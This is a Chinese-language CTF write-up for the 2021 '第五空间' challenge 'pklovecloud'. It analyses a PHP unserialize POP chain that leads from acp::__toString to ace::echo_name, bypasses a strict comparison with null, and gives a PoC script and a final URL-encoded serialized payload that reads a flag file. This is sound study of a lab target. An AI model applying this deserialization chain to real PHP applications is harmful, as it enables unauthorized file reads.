[第五空间 2021]pklovecloud

2023-11-02

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

很长的php代码,先进行分析

首先看到包含了flag.php,说明flag可能在这个文件下,接下来观察是否有能读取flag.php文件的函数

可以看到有一个file_gett_contents()

file_get_contents()是一个PHP函数,用于读取文件中的内容并将其作为字符串返回。它接受一个参数,即要读取的文件的路径。 

 而要利用到该函数就要大体上看如何构造pop链,可以看到是在rce类中的echo_name方法中,而唯一能调用这个方法的只有rcp类中的Tostring方法中,该方法只要所在类被当成字符串处理就会触发

观察能处理字符串的只有echo

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

所以只要pks是实例化后的rcp类就可以触发_tostring,但是在此之前也就是tostring之上有一个__construct方法,该方法只要进行了反序列化就会触发,且这个触发要先于tostring

在这个方法内部是对cinder属性的实例化赋值,恰恰这个属性又刚好是tostring方法内要调用echo_name的判断条件,此外pkshow类中也有一个echo_name这个不是我们想要调用的

include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

而且可以看到cinder属性是受保护属性,只能靠赋值修改,所以这里我们将pkshow改成我们要的rce 

这样就可以满足调用又可以触发tostring了

 protected:受保护的属性只能在类的内部和继承类中访问。

再看到rce中利用函数的前提条件

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if($this->openstack->neutron === $this->openstack->nova)

 同一个类中的两个属性进行强比较,neutron有了赋值且赋值是$heat(整体没有出现)而nova又没有,这种情况下看着是无法相等的,但是这样可以利用null来进行比较,换句话说只要dokcer的类是null,哪无论怎么赋值结果都是null

这样我们就成功的绕过的比较利用到了file_get_contents()函数

POC:

<?php
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;
    }  
}  
class ace
{    
    public $filename='flag.php';
    public $openstack;
    public $docker;
}
$a=new acp();
$b=new ace();
$b->docker=null;
echo urlencode(serialize($a));
?>

 上传后可以看到

flag在/nssctfasdasdflag

 修改读取再传

 发现又不在这个目录下,于是尝试着回到上一个目录../nssctfasdasdflag

最终payload:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

 

 

总结

1.利用null,无论如何赋值都是null从而绕过强比较

2.遇到受保护属性可以通过修改方法中的赋值来修改私有属性(很疑惑序列化后方法不是没了吗)


参考学习:

文章列表 | NSSCTF 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[第五空间 2021]pklovecloud 的相关文章

随机推荐

  • 基于多视角学习和个性化注意力机制的新闻推荐

    NPA Neural News Recommendation with Personalized Attention 2019 7 链接 https arxiv org abs 1907 05559 发表在 IJCAI 2019和 KDD
  • 常见的排序算法总结

    排序简介 简介 排序算法 英语 Sorting algorithm 是一种将一组特定的数据按某种顺序进行排列的算法 排序算法多种多样 性质也大多不同 性质 稳定性 稳定性是指相等的元素经过排序之后相对顺序是否发生了改变 拥有稳定性这一特性的
  • ArrayList 集合 嵌套HashMap集合

    开发工具与关键技术 IDEA 撰写时间 2022 5 27 ArrayList 集合 嵌套HashMap集合 首先创建一个ArrayList集合 然后在ArrayList的 lt gt 里添加HaspMap集合 HaspMap集合的里键值对
  • 环境配置篇

    旧机子经常卡 代码打不动 换了一台 温习一遍配置 开一篇记录一下 1 jdk 安装jdk 还是别装最新的 经不起因为最新的原因导致各种bug 下载网址 点击打开链接 配置JAVA HOME 找到对应文件 以后要更新jdk修改这个文件就行 配
  • Yii Framework 开发教程(35) Zii组件-Button示例

    CJuiButton 显示按钮 CJuiButton 既可以做为Submit 提交 按钮 也可以做为普通按钮 按钮基本用法如下 php view plain copy print
  • Linux:基础开发工具之Makefile和缓冲区的基本概念

    文章目录 动静态库 自动化构建代码 缓冲区 原理实现 具体实现 动静态库 首先要知道什么是链接 C程序中 并没有定义printf的函数实现 且在预编译中包含的stdio h中也只有该函数的声明 而没有定义函数的实现 系统把这些函数实现都被做
  • new date()标准时间转yyyy-mm-dd hh:mm 24小时制

    知识点 es6的Object方法 正则表达式 循环对象等 直接贴代码
  • 解决Linux关机重启连不上网的异常

    NetworkManager 解决开机连不上网的问题 1 Systemctl status NetworkManager 查看NetworkManager的状态 2 如果NetworkManager的状态为运行状态 关闭NetworkMan
  • 区块链学习心得1:三个关于区块链数据安全性的重要常识性知识

    前往老猿Python博文目录 前面介绍了区块链的基础知识 包括什么是区块链 区块链类型 共识算法 Merkle树 默克尔树 和Merkle根 区块链的分叉 出块 最长链原则 主链等概念 在对这些概念理解较为彻底的基础上 老猿总结了几个常识性
  • 招聘Bev感知实习生

    工作职责 1 负责Bev感知算法调研和运用 2 负责模型量化部署 职位要求 1 熟悉Bevformer BevFusion等深度学习网络结构 2 熟悉C Python程序开发 3 具有良好的沟通能力 良好的团队合作精神 简历投递邮箱 lei
  • JavaSE进阶(二)—— 面向对象进阶(包、权限修饰符、抽象类、多态)

    目录 一 包 1 什么是包 2 导包 二 权限修饰符 1 什么是权限修饰符 2 权限修饰符的分类和具体作用范围 3 学完权限修饰符需要具备如下能力 三 final 1 final的作用 2 final修饰变量的注意 四 常量 1 常量概述和
  • C语言零基础入门习题(四)分苹果

    前言 C语言是大多数小白走上程序员道路的第一步 在了解基础语法后 你就可以来尝试解决以下的题目 放心 本系列的文章都对新手非常友好 Tips 题目是英文的 但我相信你肯定能看懂 一 Mr Wang wants to give some ap
  • C++编程命名规范

    C 编程命名规范 PS 根据多年工作经验和其它命名规范整理而成 个人感觉比较规范的标准 现应用于我的开发团队 一 命名通用规则 文件名 函数名 变量名命名应具有描述性 不要过度的缩写 类型变量是名词 函数名是动词或动词 名词 函数名必须是指
  • 编译原理笔记

    目录 序章 编译原理 编译器 程序设计语言 第一章 概述 机器语言 第一代语言 特点 汇编语言 高级程序设计语言 鼻祖 时期 特点 翻译程序 汇编语言 解释语言 编译程序 编译过程 词法分析 语法分析 语义分析 中间代码生成 之前三步都是编
  • MongoDB数据库的基本操作

    一 使用async await对CRUD进行封装 1 定义dao层 数据库访问层 专门用于访问数据库 不和接口直接联系 2 定义service层 服务层 通过调用dao层的方法来获取数据 将结果通过res对象响应给客户端 3 路由接口 功能
  • odoo14本地开发部署

    odoo本地开发部署 1 使用git在本地安装odoo 1 1地址 https github com odoo odoo 1 2 复制https里面链接 git clone http github com odoo odoo git 1 2
  • maven打包,依赖也打进jar包

    一 如果没有依赖第三方包 可以用maven jar plugin插件 只是修改META INFO下的MANIFEST MF信息 指定运行jar包的main入口
  • [代码审计] fengcms1.32从详细漏洞分析到漏洞利用

    前言 这是我在此发表的第一篇代码审计的文章 仅供学习参考 首发于哈拉少安全小队微信公众号 一 Cms初识 FengCms 由地方网络工作室基于PHP MYSQL开发 是一款开源的网站内容管理系统 系统支持自由订制模型 你完全可以用FengC
  • 感知机算法(原始和对偶)——100%还原统计学习方法的python代码实现,每行都有注释,超清晰

    参考 统计学习方法 第二版 李航著 目录 一 感知机的定义 二 感知机模型 三 感知机学习策略 四 感知机学习算法 4 1感知机学习算法的原始形式 4 2 感知机学习算法的对偶形式 一 感知机的定义 假设输入空间 特征空间 是 输出空间是
  • [第五空间 2021]pklovecloud